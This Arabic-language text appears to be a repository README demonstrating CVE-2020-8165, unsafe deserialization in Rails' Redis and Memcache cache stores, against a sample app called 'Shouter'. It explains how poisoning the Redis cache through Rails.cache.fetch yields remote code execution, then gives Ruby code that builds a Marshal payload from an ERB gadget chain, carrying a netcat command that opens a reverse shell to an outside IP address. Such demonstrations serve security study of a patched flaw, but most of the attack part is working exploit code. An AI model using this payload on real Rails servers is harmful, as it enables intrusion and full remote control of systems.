
عرض توضيحي لاستغلال CVE-2020-8165 لتنفيذ تعليمات برمجية عن بعد عبر إلغاء التسلسل في Rails باستخدام تطبيق Shouter الواقعي، وتوليد الحمولة في Ruby، وتسميم ذاكرة التخزين المؤقت لـ Redis.
عرض توضيحي آخر لـ CVE-2020-8165، لكن بتنفيذ أكثر واقعية من معظم العروض الأخرى.
CVE-2020-8165
توجد ثغرة إلغاء تسلسل البيانات غير الموثوقة في Rails < 5.2.4.3 و Rails < 6.0.3.1 يمكن أن تسمح للمهاجم بإلغاء تحزيم (unmarshal) الكائنات التي قدمها المستخدم في MemCacheStore و RedisCacheStore مما قد يؤدي إلى تنفيذ تعليمات برمجية عن بعد (RCE).
يحتوي تطبيق "Shouter" على ميزة تخزين مؤقت في نموذج Shout حيث يتم تخزين الصور الاختيارية المرفوعة مع shout:string في redis مؤقتًا ثم استرجاعها منه بدلاً من قاعدة البيانات. وبسبب استخدام الطريقة Rails.cache.fetch الضعيفة للتفاعل مع التخزين المؤقت، فإن هذا التطبيق معرض لـ CVE-2020-8165، وتوضع نتائج تنفيذ الأوامر عن بعد (RCE) في خاصية src لوسوم `` في مسار لوحة التحكم.
المقتطف التالي سينشئ الحمولة التي تحتاج إرسالها باستخدام exploit.py. هناك بعض التفاصيل الدقيقة في خطوة إجراء التسلسل (serialization) التي يجب حلها لتنفيذ الاستغلال بالكامل بلغة Python. لذا، فإن Marshal.dump في Ruby ضروري لإنشاء الحمولة الدقيقة (حاليًا).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload